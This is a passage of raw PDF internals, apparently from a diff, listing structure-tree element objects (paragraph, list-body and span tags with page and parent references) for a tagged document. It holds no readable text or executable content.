+endobj +3209 0 obj +<< +/K [39] +/P 5675 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3210 0 obj +<< +/K [40] +/P 5676 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3211 0 obj +<< +/K [41] +/P 5677 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3212 0 obj +<< +/K [42] +/P 5678 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3213 0 obj +<< +/K [43] +/P 5679 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3214 0 obj +<< +/K [44] +/P 5680 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +3215 0 obj +<< +/K [2 3] +/P 5681 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3216 0 obj +<< +/K [4] +/P 5682 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3217 0 obj +<< +/K [5] +/P 5683 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3218 0 obj +<< +/K [6] +/P 5684 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3219 0 obj +<< +/K [7] +/P 5685 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3220 0 obj +<< +/K [8] +/P 5686 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3221 0 obj +<< +/K [9] +/P 5687 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3222 0 obj +<< +/K [10] +/P 5688 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3223 0 obj +<< +/K [11] +/P 5689 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3224 0 obj +<< +/K [12] +/P 5690 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3225 0 obj +<< +/K [13] +/P 5691 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3226 0 obj +<< +/K [14] +/P 5692 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3227 0 obj +<< +/K [15] +/P 5693 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3228 0 obj +<< +/K [16] +/P 5694 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3229 0 obj +<< +/K [17] +/P 5695 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3230 0 obj +<< +/K [18] +/P 5696 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3231 0 obj +<< +/K [19] +/P 5697 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3232 0 obj +<< +/K [20] +/P 5697 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3233 0 obj +<< +/K [21] +/P 5698 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3234 0 obj +<< +/K [22] +/P 5699 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3235 0 obj +<< +/K [23] +/P 5700 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3236 0 obj +<< +/K [24] +/P 5701 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3237 0 obj +<< +/K [25] +/P 5702 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3238 0 obj +<< +/K [26] +/P 5703 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3239 0 obj +<< +/K [27] +/P 5704 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3240 0 obj +<< +/K [28] +/P 5705 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3241 0 obj +<< +/K [29] +/P 5706 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3242 0 obj +<< +/K [30] +/P 5707 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3243 0 obj +<< +/K [31] +/P 5708 0 R +/Pg 70 0 R +/S /LBody +/Type /StructElem +>> +endobj +3244 0 obj +<< +/K [32] +/P 5709 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3245 0 obj +<< +/K [34 35] +/P 5710 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +3246 0 obj +<< +/K [0] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3247 0 obj +<< +/K [1] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3248 0 obj +<< +/K [2] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3249 0 obj +<< +/K [3] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3250 0 obj +<< +/K [4] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3251 0 obj +<< +/K [5] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3252 0 obj +<< +/K [6] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3253 0 obj +<< +/K [7] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3254 0 obj +<< +/K [8] +/P 5711 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3255 0 obj +<< +/K [9] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3256 0 obj +<< +/K [10] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3257 0 obj +<< +/K [11] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3258 0 obj +<< +/K [12] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3259 0 obj +<< +/K [13] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3260 0 obj +<< +/K [14] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3261 0 obj +<< +/K [15] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3262 0 obj +<< +/K [16] +/P 5712 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3263 0 obj +<< +/K [17] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3264 0 obj +<< +/K [18] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3265 0 obj +<< +/K [19] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3266 0 obj +<< +/K [20] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3267 0 obj +<< +/K [21] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3268 0 obj +<< +/K [22] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3269 0 obj +<< +/K [23] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3270 0 obj +<< +/K [24] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3271 0 obj +<< +/K [25] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3272 0 obj +<< +/K [26] +/P 5713 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3273 0 obj +<< +/K [27] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3274 0 obj +<< +/K [28] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3275 0 obj +<< +/K [29] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3276 0 obj +<< +/K [30] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3277 0 obj +<< +/K [31] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3278 0 obj +<< +/K [32] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3279 0 obj +<< +/K [33] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3280 0 obj +<< +/K [34] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3281 0 obj +<< +/K [35] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3282 0 obj +<< +/K [36] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3283 0 obj +<< +/K [37] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3284 0 obj +<< +/K [38] +/P 5714 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +3285 0 obj +<< +/K 0 +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3286 0 obj +<< +/ActualText ( ) +/K [1] +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3287 0 obj +<< +/K 2 +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3288 0 obj +<< +/ActualText ( ) +/K [3] +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3289 0 obj +<< +/K 4 +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3290 0 obj +<< +/ActualText ( ) +/K [5] +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3291 0 obj +<< +/K 6 +/P 1128 0 R +/Pg 72 0 R +/S /Span +/Type /StructElem +>> +endobj +3292 0 obj +<< +/K [13 14] +/P 5715 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3293 0 obj +<< +/K [15 16] +/P 5716 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3294 0 obj +<< +/K [17 18] +/P 5717 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3295 0 obj +<< +/K [19] +/P 5718 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3296 0 obj +<< +/K [20] +/P 5719 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3297 0 obj +<< +/K [21] +/P 5720 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3298 0 obj +<< +/K [22] +/P 5721 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3299 0 obj +<< +/K [23] +/P 5722 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3300 0 obj +<< +/K [24] +/P 5723 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3301 0 obj +<< +/K [25] +/P 5724 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3302 0 obj +<< +/K [26] +/P 5725 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3303 0 obj +<< +/K [27] +/P 5726 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3304 0 obj +<< +/K [28] +/P 5727 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3305 0 obj +<< +/K [29] +/P 5728 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3306 0 obj +<< +/K [30] +/P 5729 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3307 0 obj +<< +/K [31] +/P 5730 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3308 0 obj +<< +/K [32] +/P 5731 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3309 0 obj +<< +/K [33] +/P 5732 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +3310 0 obj +<< +/K [1 2] +/P 5733 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3311 0 obj +<< +/K [3 4] +/P 5734 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3312 0 obj +<< +/K [5 6] +/P 5735 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3313 0 obj +<< +/K [7 8] +/P 5736 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3314 0 obj +<< +/K [9 10] +/P 5737 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3315 0 obj +<< +/K [11 12] +/P 5738 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3316 0 obj +<< +/K [13 14] +/P 5739 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3317 0 obj +<< +/K [15 16] +/P 5740 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3318 0 obj +<< +/K [17 18] +/P 5741 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3319 0 obj +<< +/K [19 20] +/P 5742 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3320 0 obj +<< +/K [21 22] +/P 5742 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3321 0 obj +<< +/K [23 24] +/P 5743 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3322 0 obj +<< +/K [25 26] +/P 5744 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3323 0 obj +<< +/K [27 28] +/P 5745 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3324 0 obj +<< +/K [29 30] +/P 5745 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3325 0 obj +<< +/K [31 32] +/P 5746 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3326 0 obj +<< +/K [33 34] +/P 5747 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3327 0 obj +<< +/K [35 36] +/P 5748 0 R +/Pg 73 0 R +/S /LBody +/Type /StructElem +>> +endobj +3328 0 obj +<< +/K [37 38] +/P 5749 0 R +/Pg 73 0 R +/S /LBody +/Type /StructElem +>> +endobj +3329 0 obj +<< +/K [39 40] +/P 5750 0 R +/Pg 73 0 R +/S /LBody +/Type /StructElem +>> +endobj +3330 0 obj +<< +/K [41 42] +/P 5751 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3331 0 obj +<< +/K [43 44] +/P 5751 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3332 0 obj +<< +/K [45 46] +/P 5751 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3333 0 obj +<< +/K [47 48] +/P 5752 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3334 0 obj +<< +/K [49 50] +/P 5753 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3335 0 obj +<< +/K [51 52] +/P 5754 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3336 0 obj +<< +/K [53 54] +/P 5754 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3337 0 obj +<< +/K [55 56] +/P 5755 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3338 0 obj +<< +/K [57 58] +/P 5756 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3339 0 obj +<< +/K [59 60] +/P 5756 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3340 0 obj +<< +/K [61 62] +/P 5756 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3341 0 obj +<< +/K [63 64] +/P 5757 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3342 0 obj +<< +/K [65 66] +/P 5758 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3343 0 obj +<< +/K [67 68] +/P 5759 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3344 0 obj +<< +/K [69 70 71] +/P 5759 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3345 0 obj +<< +/K [72 73] +/P 5760 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3346 0 obj +<< +/K [74 75] +/P 5761 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3347 0 obj +<< +/K [76 77] +/P 5761 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3348 0 obj +<< +/K [78 79] +/P 5761 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3349 0 obj +<< +/K [80 81] +/P 5762 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3350 0 obj +<< +/K [82 83] +/P 5763 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3351 0 obj +<< +/K [84 85] +/P 5764 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3352 0 obj +<< +/K [86 87] +/P 5764 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3353 0 obj +<< +/K [88 89] +/P 5765 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3354 0 obj +<< +/K [90 91] +/P 5766 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3355 0 obj +<< +/K [92 93] +/P 5766 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3356 0 obj +<< +/K [94 95] +/P 5767 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3357 0 obj +<< +/K [96 97] +/P 5768 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3358 0 obj +<< +/K [98 99] +/P 5769 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3359 0 obj +<< +/K [100 101] +/P 5769 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3360 0 obj +<< +/K [102 103] +/P 5770 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3361 0 obj +<< +/K [104 105] +/P 5771 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3362 0 obj +<< +/K [106 107] +/P 5772 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3363 0 obj +<< +/K [108 109] +/P 5772 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3364 0 obj +<< +/K [110 111] +/P 5772 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3365 0 obj +<< +/K [112 113] +/P 5773 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3366 0 obj +<< +/K [114 115] +/P 5774 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3367 0 obj +<< +/K [116 117] +/P 5775 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3368 0 obj +<< +/K [118 119] +/P 5775 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3369 0 obj +<< +/K [120 121] +/P 5776 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3370 0 obj +<< +/K [122 123] +/P 5777 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3371 0 obj +<< +/K [124 125 126] +/P 5777 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +3372 0 obj +<< +/K [0 1] +/P 5778 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3373 0 obj +<< +/K [2 3] +/P 5779 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3374 0 obj +<< +/K [4 5] +/P 5780 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3375 0 obj +<< +/K [6 7] +/P 5781 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3376 0 obj +<< +/K [8 9] +/P 5782 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3377 0 obj +<< +/K [10 11] +/P 5783 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3378 0 obj +<< +/K [12 13] +/P 5784 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3379 0 obj +<< +/K [14 15] +/P 5785 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3380 0 obj +<< +/K [16 17] +/P 5786 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3381 0 obj +<< +/K [18 19] +/P 5787 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3382 0 obj +<< +/K [20 21] +/P 5787 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3383 0 obj +<< +/K [22 23] +/P 5787 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3384 0 obj +<< +/K [24 25] +/P 5788 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3385 0 obj +<< +/K [26 27] +/P 5789 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3386 0 obj +<< +/K [28 29] +/P 5790 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3387 0 obj +<< +/K [30 31] +/P 5791 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3388 0 obj +<< +/K [32 33] +/P 5792 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3389 0 obj +<< +/K [34 35] +/P 5793 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3390 0 obj +<< +/K [36 37] +/P 5793 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3391 0 obj +<< +/K [38 39] +/P 5793 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3392 0 obj +<< +/K [40 41] +/P 5793 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3393 0 obj +<< +/K [42 43] +/P 5794 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3394 0 obj +<< +/K [44 45] +/P 5795 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3395 0 obj +<< +/K [46 47] +/P 5796 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3396 0 obj +<< +/K [48 49] +/P 5796 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3397 0 obj +<< +/K [50 51] +/P 5796 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3398 0 obj +<< +/K [52 53] +/P 5796 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3399 0 obj +<< +/K [54 55] +/P 5797 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3400 0 obj +<< +/K [56 57] +/P 5798 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3401 0 obj +<< +/K [58 59] +/P 5799 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3402 0 obj +<< +/K [60 61] +/P 5799 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3403 0 obj +<< +/K [62 63] +/P 5799 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3404 0 obj +<< +/K [64 65] +/P 5799 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3405 0 obj +<< +/K [66 67] +/P 5800 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3406 0 obj +<< +/K [68 69] +/P 5801 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3407 0 obj +<< +/K [70 71] +/P 5802 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3408 0 obj +<< +/K [72 73] +/P 5802 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3409 0 obj +<< +/K [74 75] +/P 5802 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3410 0 obj +<< +/K [76 77] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3411 0 obj +<< +/K [78 79] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3412 0 obj +<< +/K [80 81] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3413 0 obj +<< +/K [82 83] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3414 0 obj +<< +/K [84 85] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3415 0 obj +<< +/K [86 87] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3416 0 obj +<< +/K [88 89] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3417 0 obj +<< +/K [90 91] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3418 0 obj +<< +/K [92 93] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3419 0 obj +<< +/K [94 95] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3420 0 obj +<< +/K [96 97] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3421 0 obj +<< +/K [98 99] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3422 0 obj +<< +/K [100 101] +/P 5803 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3423 0 obj +<< +/K [102 103] +/P 5804 0 R +/Pg 74 0 R +/S /P +/Type /StructElem +>> +endobj +3424 0 obj +<< +/K [0 1] +/P 5805 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3425 0 obj +<< +/K [2 3] +/P 5806 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3426 0 obj +<< +/K [4 5] +/P 5807 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3427 0 obj +<< +/K [6 7] +/P 5808 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3428 0 obj +<< +/K [8 9] +/P 5809 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3429 0 obj +<< +/K [10 11] +/P 5810 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3430 0 obj +<< +/K [12 13] +/P 5811 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3431 0 obj +<< +/K [14 15] +/P 5812 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3432 0 obj +<< +/K [16 17] +/P 5813 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3433 0 obj +<< +/K [18 19] +/P 5814 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3434 0 obj +<< +/K [20 21] +/P 5814 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3435 0 obj +<< +/K [22 23] +/P 5814 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3436 0 obj +<< +/K [24 25] +/P 5814 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3437 0 obj +<< +/K [26 27] +/P 5815 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3438 0 obj +<< +/K [28 29] +/P 5816 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3439 0 obj +<< +/K [30 31] +/P 5817 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3440 0 obj +<< +/K [32 33] +/P 5817 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3441 0 obj +<< +/K [34 35] +/P 5817 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3442 0 obj +<< +/K [36 37] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3443 0 obj +<< +/K [38 39] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3444 0 obj +<< +/K [40 41] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3445 0 obj +<< +/K [42 43] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3446 0 obj +<< +/K [44 45] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3447 0 obj +<< +/K [46 47] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3448 0 obj +<< +/K [48 49] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3449 0 obj +<< +/K [50 51] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3450 0 obj +<< +/K [52 53] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3451 0 obj +<< +/K [54 55] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3452 0 obj +<< +/K [56 57] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3453 0 obj +<< +/K [58 59] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3454 0 obj +<< +/K [60 61] +/P 5818 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3455 0 obj +<< +/K [62 63] +/P 5819 0 R +/Pg 75 0 R +/S /P +/Type /StructElem +>> +endobj +3456 0 obj +<< +/K [64 65] +/P 5820 0 R +/Pg 